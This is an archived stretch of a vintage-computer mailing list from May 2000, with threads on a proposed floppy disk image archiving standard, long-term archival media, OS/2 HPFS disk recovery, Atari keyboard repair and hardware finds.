Subject: Floppy disk controllers In-Reply-To: <200002042133.NAA27309@spies.com> Message-ID: <200005310330.UAA01767@civic.hal.com> Hi With all of the stuff about WD1771's and WD1793's I thought I'd pass on a site I located the other day: http://pilot.ucdavis.edu/davidk/documentation/trs-tech.htm Later Dwight From foo at siconic.com Tue May 30 23:07:14 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005302348.QAA28909@civic.hal.com> Message-ID: On Tue, 30 May 2000, Dwight Elvey wrote: > It was not specifically mentioned but I also think > we should archive a method to boot strap the machine > from ground zero, were this can be done with things > like front panels or ROM monitors. I realize that this This is useful, however I think it is a totally different endeavor. > As was stated by others, the > media for archiving needs to be in a currently common > format that is supported by todays machines. It has > also been generally recognized that it should be occasionally > brought up to date by moving to newer media. It is my It was always my assumption (and I thought it was a fairly obvious one) that the archives would be stored on either hard drives or CD ROM or whatever modern day media makes sense. I would not store the archives on floppies, although that is entirely up to whomever wants to create an archive. Where the archive gets stored is not of concern to the standard. The standard is simply there to provide a common, DOCUMENTED format by which we store archived floppy diskettes. > As was mentioned, even in CPM, part of the OS might > be in a file. This means that the method of saving > must include the ability to link a number of pieces > that were not necessarily tied together as a single > data stream. Which is why one would archive the diskette as a whole, as opposed to getting into high levels and attempting to interpret the data on the diskette. We don't want to do that. We just want to look at the disk as a bunch of bytes and archive the whole thing. > Another thing that wasn't talked about was CRC's. Even > though most media has built in CRC's, there is no way > to detect a failure in the communications between the > new and old media. I suggest that this be at least a > two level CRC. The first level would be on small blocks > of data that the CRC could do error correction on with > a reasonable burst size compared to the block size. > The next level would have a larger CRC with a burst correction > size that would be greater than two times the lower > levels CRC. This last level of CRC would have several Good point. I hadn't considered error checking. That can be added to the header. > I also doubt, that most people realize that there are > other types of data encoding than MFM and FM. Intels > M2FM comes to mind, as well as the Apple format. It was > stated that people felt that it would not be practical > to make a piece of hardware that could read any arbitrary > format. I contend that as long as that format could > have been read or written through that drive that a > simple DSP chip could be used to make a universal controller > chip. Vary little hardware, other than a simple development > board, would be needed. I find it hard to believe that That would certainly be one way to do it, but I think it's more feasible to attempt to do this by a combination of using the actual hardware and the software that does the archiving. The usefulness of archiving old diskettes is to make them available in perpetuity. Whether we are archiving them so that we can always create a physical disk from the archive to run on the original machine or use the archive as a "virtual diskette" for an emulator, having an actual disk image archived on a long term storage medium is my goal. > To show the variety of things, the machine I'm working on > has two sectors per track of 20480 bits. This is on > 32 hard sectored media. It is regular FM, though. And the standard we are trying to define would be able to accomodate such a funky format! Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 23:15:50 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <008901bfca93$49185d40$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > Yes! So why's Sellam Ismail wanting to mix OS and data elements? He's > unhappy with the notion of putting only what you need on a diskette which > holds what you want to archive. What good does CP/M OS material do him if > he's using OS-8? I'm not directing this message to Dick, because the general assumption is that he won't understand no matter how I explain it and no matter what language I use (perhaps I should learn Martian?) At any rate, this is more directed towards anyone who has gotten confused as a result of Dick's continued brain farting. A floppy diskette is a stream of bytes. What those bytes represent couldn't concern me less. The purpose of this exercise is to create a common, documented format by which that byte stream can be archived and the way those byte streams are stored on the diskette can be described, thereby allowing a copy to be reconstructed in the future on an actual diskette or allowing the image to be fed into an emulator. Simple, yes? Of course. Ignore Dick and we're golden. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 23:20:30 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005310024.RAA29348@civic.hal.com> Message-ID: On Tue, 30 May 2000, Dwight Elvey wrote: > This does go back to what I said about using multiple > types of media. It is necessary to use more than one > type. The types should be as varied as current technology > would allow. Also, the multiple copies on any particular > media should also be done on different manufactures > of that same media type. My hope is that a central repository on the net can be founded where these disk images can be stored. I'm hoping to provide that repository once I get more bandwidth into my server. I will then make periodic backups of the archive on various media (CD ROM of course). Also, mirror sites can be created, thus ensuring the archive is not susceptible to one catastrophe. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From richard at idcomm.com Wed May 31 00:25:43 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard References: <009e01bfca9b$0be3bfc0$7964c0d0@ajp166> Message-ID: <000f01bfcac0$abdd4580$0400c0a8@EAHOME> Yes, Allison, everything has a finite, if small, failure rate. I don't have stat's on the failure probability of properly stored EPROMs in a plastic package, but the failure rate of FD's is on the order of a part in 10^9 or so. The random failure rate of a SCSI interface has been claimed to be a part in 10^15, and I'd bet the random failure rate of a plastic packaged EPROM is on the order a part in 10^20. Those are favorable odds, and, in fact, I'd find the 10^15 quite acceptable for archives. Remember, we're not looking at a random soft failure with FD's, it's the ultimate failure that we're concerned with, since, once the archival copy is gone, the data on it is lost forever. I'd be inclined to use a CD under such risk, wouldn't you? It's an archive, after all, not a utility copy lying on the floor behind your desk. I'm not preaching that an OTP EPROM is the perfect solution, but, it takes an hour or two to generate the hardware/software to read/write an EPROM. If, OTOH, I had all the parts in perfect condition, in a kit, and a well-lighted workstation with all the necessary tools, I still doubt I could assemble an FDD, especially one of the little ones we use today in that little time. They're available almost anywhere for $5 (used) to $20 (brand new), but two years after they're replaced with something better, I doubt you'll find one new drive for sale anywhere. It's for that reason that I think all this effort put into magnetic storage for an archive that will, hopefully outlive its creators, is a mite unwise. Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 6:28 PM Subject: Re: Defining Disk Image Dump Standard > >If you're serious about creating an archive. It needs to be permanent, so > >it's essentially requisite that the media be write-once. I'd say you're > >better off with an OTP EPROM. Hardware to create them is dirt-simple to > >create, eraseable/rewritable equivalents are readily available, and even if > >the OTP's (very inexpensive, by the way) become scarce, there will still be > >rewritables available which can be write protected by removing the VPP or > >program pin. Use those and you'll have a real archive. What's more, there > >are no mechanical components, nothing to rust, become misaligned, or wear > >out. > > > Your kidding? Right? Eproms, have a finite random failure rate and while > better > in some ways over time you still run the risk of total failure due to: > > Environment, humidity increases failure rate. > Temperature > Time > Electrical stress. > > This does not include ESD and circuit mishandling. it still assumes > compatable technology (try reading a ECL prom using TTL). > > Add to this the great number of devices needed to contain said archive > your risking the boat in exactly the same way as CDrom or on shorter > time spans magnetic media. > > All of this is seperate from the format that will assure recovery of the > data. > > Myself I'd rather risk even floppies with their known weakness and use > redundant recording and added error detection/correction. Even when > applied to CDroms this is more viable. > > Most of all it matters not what you do, what you do it on! It does matter > that sufficient data on what was done is available along with the archive > to reconstruct not only the data but the systems that archived it (or can > recover it!!!). Books work because they can be preserved and copied > if they start to decompose and we teach the languges needed to read > them. > > Reminds me of an old theological arguement of how many angles can > dance on the head of a pin. Untill we have music, a pin and angles > it's simply an exercise with a meaningless outcome to all but the faithful. > > Allison > From richard at idcomm.com Wed May 31 00:55:28 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <002a01bfcac4$d3330440$0400c0a8@EAHOME> If only you understood how FDD's work, Sellam! You say "> A floppy diskette is a stream of bytes. " The stuff on a diskette is not a byte stream. It's a carefully worked-out bit-oriented protocol written in a self-clocking modulation scheme with in-band signalling encoded in, among other things, missing clocks. There are write splices before and after every sector ID and before and after every data + crc field, during which byte-synchronization (framing) and bit-synchronization are lost completely. That hardly qualifies as a byte stream. That's just another reason some other, perhaps less synchronization-intensive data transfer mechanism should be used, IF what you really want is an archive of the bitwise pattern of flux reversals on the magnetic medium, then you have something you can store, and that you can recreate with an appropriate drive interface. You'll have trouble including header information on such an arrangement, though it's possible enough. However, as I've said before, a mechanical system is always destined to be a headache. Some form of relatively non-volatile solid state storage is what a modern archive needs. Maybe CD is adequate, but who knows how long that fad will last. In another decade, the multiples tens of GB you can store on a CD/DVD may not be adequate for then current computers, though it will probably always be suitable for this purpose. If there get to be such things, a multisession DVD might be just the thing. With as high an error rate as FD's have, they're just not the best bet. Dick From kyrrin at bluefeathertech.com Wed May 31 01:02:16 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:09 2005 Subject: A moment of silence... In-Reply-To: <3934549C.57BD47E@arrl.net> Message-ID: <39344878.5116.6E31316@localhost> > Haltek was on Linda Vista right around the corner from the > Mexican restaurant. > > Question. Did their Test Equipment store, right next door, > also close? They used to put on a great parking lot sale > every summer. As far as I know, Test Labs was unaffected. FWIW, it was not them that put on the parking lot sale. It was Haltek. Test Labs usually just participated. Also, I would add that most of what TL offered tended to be beat up and overpriced. > One time they got hold of about a dozen Collins 51S1's. Got > there just in time to see the last 2 get scooped up right before > my eyes. Went for about $175 apiece as I recall........ aaargh.. I said most, not all. They did occasionally goof and offer the proverbial Heck Of A Deal. ;-) -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From mikeford at socal.rr.com Wed May 31 01:24:17 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:09 2005 Subject: NBI OASys 8" floppies In-Reply-To: References: <200005302205.PAA27670@civic.hal.com> Message-ID: I brought home a box of maybe a dozen or so boxes of 10+ 8" floppies each, and a little notebook that matches up with them. NBI OASys at a glance, most of the floppies have similar info on them, with a couple boxes still sealed blanks. SSSD Single Sided Single Density, with the little hole in the jacket, but I didn't check to see if the floppy material has holes in it too. Cover page of notebook says, OASys at a glance is a quick reference guide designed to provide you with brief, step by step instructions for OASys 64, OASys 8, OASys 3000S and OASys 3000 features. Reasonable offers from list members til Friday, then if no real interest its eBay. From marvin at rain.org Wed May 31 01:22:43 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:09 2005 Subject: Games: was Re: Get up on the wrong side of the bed ... References: Message-ID: <3934AFB3.BF4421B1@rain.org> Mike Ford wrote: > > >Different strokes for different folks; what do we learn with a flame war? > > Email filters. That is a great answer!!! From vonhagen at vonhagen.org Mon May 29 20:24:49 2000 From: vonhagen at vonhagen.org (William von Hagen) Date: Sun Feb 27 18:52:09 2005 Subject: PERQs (was: Get up on the...) In-Reply-To: References: Message-ID: <4.3.1.2.20000529211132.00dfbae0@vonhagen.org> Sorry I missed this discussion when it was "live." Being in Pittsburgh, I was lucky enough to be able to get tons of PERQ stuff (literally) that no one else was in a geographic position to pick up. I have one of all of the PERQ models, including obscurities like a T1 (T2 with an 8" drive), a working MPOS system, a working 24-bit PERQ, a working PERQ-3A (which I had shipped here from the UK in a fit of obsession), and more. From what I can remember, the Japanese guys used PERQs for animation purposes. They didn't really get anything "interesting," just lots of spare boards. One bit of PERQ trivia that few people on this list may know about is that my collection was used in the legendary Apple/Microsoft lawsuit, as evidence by both sides. Both uSoft and Apple flew lawyers and camera crews here to Pittsburgh to film me demoing old window managers I'll be glad to write more later - it's getting late here! Bill From Technoid at cheta.net Wed May 31 05:44:50 2000 From: Technoid at cheta.net (Technoid Mutant) Date: Sun Feb 27 18:52:09 2005 Subject: OS/2 References: <8763AE987517D2118C0500A0C9AB234C2BAD66@TEGNTSERVER> Message-ID: <3934ED22.A4F3C33C@cheta.net> To the best of my knowledge, win32, including win95/98 still suffer from 64k segments. In particular, the video subsystems are still 16bit, non-reentrant code which means programmers still have to chop thier graphics into 64k chunks and feed those to the GUI. A lot of people were really disapointed with this when Microsoft first revealed it prior to 95's debut. There used to be an excellent IBM whitepaper comparing Win95, OS/2 warp, and Windows NT but I have been unable to find it alive anywhere. Douglas Quebbeman wrote: > > > What I'm saying is that the way is *should* work is: > > > > > > pointer fault on attempt to execute faulted pointer to > > DLL routine > > > segment fault on attempt to execute code in unmapped > > DLL routine's > > > segment > > > page fault on attempt to execute code in unmapped DLL > > routine's page > > > > > > And in a really proper OS you'd also get a page fault if > > the page map > > > containing the PageMapTableEntries weren't currently mapped in (and > > > yes you can page out page maps). > > > > > > And before you point out that segments went away from Win32 let > > > me say that too is another fatal flaw with the Windows family of > > > OS's. > > > > Is it just me -- or does this sound like Multics segments? > > Dang- busted again. :-) > > -doug q From Technoid at cheta.net Wed May 31 05:50:05 2000 From: Technoid at cheta.net (Technoid Mutant) Date: Sun Feb 27 18:52:09 2005 Subject: HPFS 386 HELP! References: Message-ID: <3934EE5D.EDF4416E@cheta.net> My warp4 machine ate it'self the other day. At restart it runs checkdisk, indicates that it has relocated information stored on a bad sector then says it cannot continue. After this the driver reports that the disk is dirty and needs to be checked in order to function. I pulled the drive and mounted it on another machine I have which is running an identical version and service level of warp 4. It is also running HPFS386. Checkdisk/F gives the same error as it does when I try to boot the disk on the machine it belongs to. The drive passes diagnostics. I am running Linux from another partition right now (it was a dual-boot OS/2, Linux drive but OS/2 won't boot now....). I've searched the web like crazy for more advanced tools which will work on an HPFS386 filesystem to no avail. Any help is appreciated. Thanks in advance Jeff (technoid@cheta.net) From Technoid at cheta.net Wed May 31 05:58:19 2000 From: Technoid at cheta.net (Technoid Mutant) Date: Sun Feb 27 18:52:09 2005 Subject: Atari 800 keyboards References: Message-ID: <3934F04B.C286053E@cheta.net> I know this may sound like a 'mad bomber' approach to a fix but I've been an Atari hack for 17 years and really know the machines. The 800 and 1200xl machines have very robust keyboards that age well but if not used in a long time will exhibit the behavior you are describing. The fix is to whack the heck out of every key on the keyboard many times over. Something like 20+ keystrokes per key and don't spare it the proper level of violence. Trust me and try it. Late model 800's and the 1200xl had nearly identical keyboard construction. I've 'fixed' numerous machines using this method with no failures. I think the reason it works is it 'cleans' the contacts through repetition. technoid@cheta.net "Charles P. Hobbs (SoCalTip)" wrote: > I fired up my old Atari 800 this weekend, and it seems to work ok, > except the keyboard is extremely flakey (some of the keys don't > work too well unless you press really hard, and a few don't > work at all). Any ideas? From jfoust at threedee.com Wed May 31 08:37:08 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: References: <200005302348.QAA28909@civic.hal.com> Message-ID: <4.3.0.20000531082854.024c9c60@pc> At 09:07 PM 5/30/00 -0700, Sellam Ismail wrote: >That would certainly be one way to do it, but I think it's more feasible >to attempt to do this by a combination of using the actual hardware and >the software that does the archiving. The usefulness of archiving old >diskettes is to make them available in perpetuity. Whether we are >archiving them so that we can always create a physical disk from the >archive to run on the original machine or use the archive as a "virtual >diskette" for an emulator, having an actual disk image archived on a long >term storage medium is my goal. I agree. Before we get too deep in the details of the file format (XML? Whew, so cutting edge. I was hoping for a simple tagged format, with plenty of extensibility) it might be good to consider how this file format will be used. Emulators, yes. Simple command line tools to create disk images and manipulate files, yes. Simple enough that an antique computer could read sectors and emit this file format out the serial or parallel port, sure. Never mind Emily Litella. - John From allisonp at world.std.com Wed May 31 09:02:13 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <000f01bfcac0$abdd4580$0400c0a8@EAHOME> Message-ID: > package, but the failure rate of FD's is on the order of a part in 10^9 or > so. The random failure rate of a SCSI interface has been claimed to be a > part in 10^15, and I'd bet the random failure rate of a plastic packaged You babbling. Disk failure rates are in bits read. Eprom failure rates are in device hours. Typical failure rate for plastic eproms is 300-500 failures (hard) in 10^9! So the more eproms you have for a given period of time the more likely the failure. Also while device life is long the assumptions that it is constant over life are not true, nor is the life infinate. > It's for that reason that I think all this effort put into magnetic storage > for an archive that will, hopefully outlive its creators, is a mite unwise. Magnetic storage is proven, while it has a finite shelf life it's well understood and can be prolonged. Linear mag tape is likely the most reliable of all. OTP eproms are barely 20 years old and NOT considered a lifetime media nor an economical one. Allison > > Dick > > ----- Original Message ----- > From: allisonp > To: > Sent: Tuesday, May 30, 2000 6:28 PM > Subject: Re: Defining Disk Image Dump Standard > > > > >If you're serious about creating an archive. It needs to be permanent, > so > > >it's essentially requisite that the media be write-once. I'd say you're > > >better off with an OTP EPROM. Hardware to create them is dirt-simple to > > >create, eraseable/rewritable equivalents are readily available, and even > if > > >the OTP's (very inexpensive, by the way) become scarce, there will still > be > > >rewritables available which can be write protected by removing the VPP or > > >program pin. Use those and you'll have a real archive. What's more, > there > > >are no mechanical components, nothing to rust, become misaligned, or wear > > >out. > > > > > > Your kidding? Right? Eproms, have a finite random failure rate and while > > better > > in some ways over time you still run the risk of total failure due to: > > > > Environment, humidity increases failure rate. > > Temperature > > Time > > Electrical stress. > > > > This does not include ESD and circuit mishandling. it still assumes > > compatable technology (try reading a ECL prom using TTL). > > > > Add to this the great number of devices needed to contain said archive > > your risking the boat in exactly the same way as CDrom or on shorter > > time spans magnetic media. > > > > All of this is seperate from the format that will assure recovery of the > > data. > > > > Myself I'd rather risk even floppies with their known weakness and use > > redundant recording and added error detection/correction. Even when > > applied to CDroms this is more viable. > > > > Most of all it matters not what you do, what you do it on! It does matter > > that sufficient data on what was done is available along with the archive > > to reconstruct not only the data but the systems that archived it (or can > > recover it!!!). Books work because they can be preserved and copied > > if they start to decompose and we teach the languges needed to read > > them. > > > > Reminds me of an old theological arguement of how many angles can > > dance on the head of a pin. Untill we have music, a pin and angles > > it's simply an exercise with a meaningless outcome to all but the > faithful. > > > > Allison > > > From jbmcb at hotmail.com Wed May 31 09:08:13 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:09 2005 Subject: HPFS 386 HELP! References: <3934EE5D.EDF4416E@cheta.net> Message-ID: <20000531140322.95967.qmail@hotmail.com> Sounds like there might be a bad block in the FAT, or superblock, or whatever OS/2 calls it. If bootcode or FAT information gets corrupt there isn't a whole lot you can do about it. You could try hooking it up to a linux machine and mount it read-only to get your files off. If the FAT is corrupt the only way to get the drive back is a low level format. ----- Original Message ----- From: "Technoid Mutant" To: Sent: Wednesday, May 31, 2000 6:50 AM Subject: HPFS 386 HELP! > My warp4 machine ate it'self the other day. At restart it runs checkdisk, > indicates that it has relocated information stored on a bad sector then says > it cannot continue. After this the driver reports that the disk is dirty and > needs to be checked in order to function. > > I pulled the drive and mounted it on another machine I have which is running > an identical version and service level of warp 4. It is also running > HPFS386. Checkdisk/F gives the same error as it does when I try to boot the > disk on the machine it belongs to. > > The drive passes diagnostics. I am running Linux from another partition right > now (it was a dual-boot OS/2, Linux drive but OS/2 won't boot now....). > > I've searched the web like crazy for more advanced tools which will work on an > HPFS386 filesystem to no avail. Any help is appreciated. > > Thanks in advance > > Jeff > (technoid@cheta.net) > > From jbmcb at hotmail.com Wed May 31 09:11:59 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:09 2005 Subject: VMS media availability for VAX 8530 References: <01e501bfcaa6$21b2a180$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <20000531140707.17444.qmail@hotmail.com> I've got VMS 2.something on 8" floppies, and VMS 5.something on TK-50 tapes, but that's it. There might be a way to finagle VMS onto the 9 track or 5.25" media from the current OpenVMS distro on CD. Check out the NetBSD VAX Section (http://www.netbsd.org/") People have come up with some pretty inventive ways of getting NetBSD onto a machine, you might be able to use the same procedures with VMS. ----- Original Message ----- From: "Geoff Roberts" To: Sent: Tuesday, May 30, 2000 10:15 PM Subject: Fw: VMS media availability for VAX 8530 > Following post from comp.sys.dec reposted to classic computers at > request of originator. Anyone on the list that can help him? > I have the Pro380 console and 5.25" media for an 8530 console, (and an > 8530 - minus the console to vax cables) even VMS on 9 track, but I'm a > bit far away... I initially thought this place was in Europe somewhere, > but it seems it's actually in New York USA. > > I've mentioned the room heater effects of ECL based systems. > > ----- Original Message ----- > From: "Derek Konigsberg" > Newsgroups: comp.sys.dec > Sent: Sunday, May 28, 2000 1:31 AM > Subject: VMS media availability for VAX 8530 > > > > Hello, > > In the Electronics Club at RPI (Rensselaer Polytechnic Institute), > > we've come across a number of old DEC machines. It all started with a > > PDP-11/45, then we got a VAX 8530 that was being dumped. We also have > > a VAXstation 4 (doesn't exist, but we have one, and it looks like a II > > by the case design) and a VAXstation 3100. Anyways, the main problem > > is the 8530. Our main RA82 hard drive doesn't spin up, and we can't > > find the problem. We have other functional hard drives, but no means > > of installing VMS on them. Basically, we need the tape for our TU81+ > > tape drive (6250bpi, I think), and the 5-1/4" floppy disk to put in > > the console to bootstrap the machine. Yes, for anyone who didn't > > know, this machine requires a special "VAX Console" (no, it's not a > > terminal) to tell the machine to power up and to download the > > microcode. Anyways, right now the machine is an impressive metal > > obstruction in the room until we get it operational. So, does anyone > > have or know where we can find the right VMS media for this beast? > > > > P.S. Just wondering, but anyone know what thing thing sold for back in > > '87 when it was new? > > > > Thanks, > > Derek Konigsberg > > RPI Electronics Club, President > > konigd@rpi.edu > > > > > > From mmcfadden at cmh.edu Wed May 31 09:14:37 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:52:09 2005 Subject: OT: Archiving data (LONG) Message-ID: Archiving data has as many definitions as there are people interested in it. At work we talk about archiving x-ray images on film for 7 years for adults and 25 years for children. Physical loss of the data is more of a problem than deterioration of the media. I have data on 12" optical packs that are 5 years old and there are conversion/data retrieval services that will retrieve my data but the cost is prohibitive. If I tell the powers in charge (PIC) that it will cost them $5 to retrieve an image that was created for $1 they think I am crazy. However if there is a lawyer making the request and the risk is $10,000,000 then the PIC are happy to pay. Currently we may have for a single patient's cardiac angiography study about 1,000 35mm images, about 1 GB. The system now uses CDROM-RW and puts the images all on 1 CD using JPEG compression, they swear it will last 25 years. I guess we will wait and see. The big issue for magnetic media archival is that it is an ongoing process with very few retrievals ever actually requested. If every 5 years I need to refresh my magnetic data then I have a reoccurring cost. This seems to be what many DP operations are planning. If I ask for lots of dollars for saving old data most organizations will laugh. I'll bet when reality or a lawsuit hits they will hope to beg forgiveness for loosing the data. Most media storage lifetimes are extrapolated from accelerated testing and assume optimal humidity and temperature. If you want proven lifetimes then there are only several known/proven methods. I know the government and the Mormons, two separate entities, are storing data etched on iridium substrates in human readable form. They talk about lifetimes of 1,000's of years. Other examples are stone tablets, photographic film, and paper. I think that we can eliminate stone tablets for storing magnetic data. Paper seems to be cumbersome and is fairly fragile. That leaves photographic methods. Photographic images from the Civil War still exist. Source code or HEX dumps on photographic media may be the best way. Maybe photographic film quality "paper tape" is the answer. The other solution may be photographic film floppy disks. I'd better get right off to my patent attorney and file. I've started babbling. Mike From jbmcb at hotmail.com Wed May 31 09:26:05 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:09 2005 Subject: Finds References: <3934EE5D.EDF4416E@cheta.net> Message-ID: <20000531142113.96331.qmail@hotmail.com> Cheapo bonanza! Grabbed a TRS-80 Model 100 Portable, in the deluxe hard case with tape drive and accoustic coupler modem for $5! Works like a charm. Snagged a Network General "The Sniffer" Protocol Analyzer, looks to be a modified Compaq Portable II, can't find any info on the sniffer program though (NAI bought out Network General, and doesn't take kindly to supporting older apps) Also grabbed a stripped RS/6000 320H for $1, a few odd cables, and a loaded Sun SPARCStation 10 for $25 (It was in with the SPARC 1's, so someone must have missed the 0, I know I did :) Good luck hunting! From pechter at pechter.dyndns.org Wed May 31 09:31:32 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:09 2005 Subject: Finds In-Reply-To: <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> > Cheapo bonanza! Grabbed a TRS-80 Model 100 Portable, in the deluxe hard case > with tape drive and accoustic coupler modem for $5! Works like a charm. > Snagged a Network General "The Sniffer" Protocol > Analyzer, looks to be a modified Compaq Portable II, can't find any info on > the sniffer program though (NAI bought out Network General, and doesn't take > kindly to supporting older apps) A great grab. It's a great tool for ethernet troubleshooting. > Also grabbed a stripped RS/6000 320H for $1 Good machine -- but a bit slow. >, a few odd cables, and a loaded Sun SPARCStation 10 for $25 (It was in > with the SPARC 1's, so someone must have missed the 0, I know I did :) Good > luck hunting! A Sparcstation 10 -- Fantastic. Got to find something like that for Solaris 8. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From sipke at wxs.nl Wed May 31 12:04:07 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:52:09 2005 Subject: Documenting how old computers were used References: <004e01bfc732$4fad1a60$0200a8c0@marvin> <001601bfca89$787f4440$d360063e@gaz> Message-ID: <01ab01bfcb22$3bad4140$030101ac@boll.casema.net> Check www.grc.com for Trouble in paradise He states that there is no single cause for the click of death because various kinds of damage will lead to the click. The drive will start to click on a seek track zero which it cannot find. This can be caused by things like damaged cartridges and harsh handling or plain wear. He also has a utility to assess if your drive is going down the road to death Sipke de Wal ----- Original Message ----- From: Gareth Knight To: Sent: Monday, May 29, 2000 2:31 PM Subject: Re: Documenting how old computers were used > Zane H. Healy > > If anyone wants to know what I'm talking about research the 'Click of > Death'. > > Anyone read the latest on the click of death? After a year (or two) of > admitting there is a fault, Iomega telephone support are blaming the > problem on non-standard hardware (anything that is not WinDOS or Mac). It is > this type of ignorance that really irritates me... > > BTW, the link is on ANN, http:///www.ann.lu. > -- > Gareth Knight > Amiga Interactive Guide > http://amiga.emugaming.com > From allisonp at world.std.com Wed May 31 11:17:27 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:09 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: > Maybe photographic film quality "paper tape" is the answer. The other > solution may be photographic film floppy disks. I'd better get right off to > my patent attorney and file. Mylar punched paper tape has a VERY long lifetime and is even human readable (well sorta ;)). Allison From mcguire at neurotica.com Wed May 31 11:29:09 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:09 2005 Subject: Finds In-Reply-To: Finds (Jason McBrien) References: <3934EE5D.EDF4416E@cheta.net> <20000531142113.96331.qmail@hotmail.com> Message-ID: <14645.15829.295315.539108@phaduka.neurotica.com> On May 31, Jason McBrien wrote: > Cheapo bonanza! Grabbed a TRS-80 Model 100 Portable, in the deluxe hard case > with tape drive and accoustic coupler modem for $5! Works like a charm. > Snagged a Network General "The Sniffer" Protocol > Analyzer, looks to be a modified Compaq Portable II, can't find any info on > the sniffer program though (NAI bought out Network General, and doesn't take > kindly to supporting older apps) Also grabbed a stripped RS/6000 320H for > $1, a few odd cables, and a loaded Sun SPARCStation 10 for $25 (It was in > with the SPARC 1's, so someone must have missed the 0, I know I did :) Good > luck hunting! Whoa! I'll triple your money on that SS10! ;) -Dave McGuire From xds_sigma7 at hotmail.com Wed May 31 11:29:12 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:09 2005 Subject: OT: Archiving data (LONG) Message-ID: <20000531162912.88074.qmail@hotmail.com> Hmm what about microfiche? And paper's storage lifetime is very dependant on where you are, that's why I love CO, its dry enough here that paper stays in great shape... Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From CLASSICCMP at trailing-edge.com Wed May 31 11:33:46 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:09 2005 Subject: OT: Archiving data (LONG) Message-ID: <000531123346.202007ad@trailing-edge.com> >> Maybe photographic film quality "paper tape" is the answer. The other >> solution may be photographic film floppy disks. I'd better get right off to >> my patent attorney and file. >Mylar punched paper tape has a VERY long lifetime and is even human >readable (well sorta ;)). But not a particularly high density - 10 Bytes per square inch. I think mike was talking about storing data on photographic film, like many of the microfiche data storage systems already in use, but intended for direct computer reading. Many films will resolve 100 line pairs per millimeter; this directly translates to about 3.2 MBytes per square inch. This isn't particularly new technology, but it'll probably never become widely used in the consumer sector. Most end-consumers simply don't think even a couple of years ahead; witness all the folks who transferred home movies to videotape, which might last for a decade or two at most, and then tossed the original film. The original film would've been good for centuries if processed properly. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From mikeford at socal.rr.com Wed May 31 12:32:13 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:09 2005 Subject: Finds In-Reply-To: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> References: <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: >A Sparcstation 10 -- Fantastic. Got to find something like that for >Solaris 8. Will 8 run on a 10, my wife wants a home system to play with instead of the E250 she has at the office, and told me she needs at least a 5 (which is a much newer system than a 10 or 20 right?). From ckaiser at oa.ptloma.edu Wed May 31 11:56:14 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:09 2005 Subject: NEC8201A RAM (was Re: Finds) In-Reply-To: <14645.15829.295315.539108@phaduka.neurotica.com> from Dave McGuire at "May 31, 0 12:29:09 pm" Message-ID: <200005311656.JAA10014@oa.ptloma.edu> ::On May 31, Jason McBrien wrote: ::> Cheapo bonanza! Grabbed a TRS-80 Model 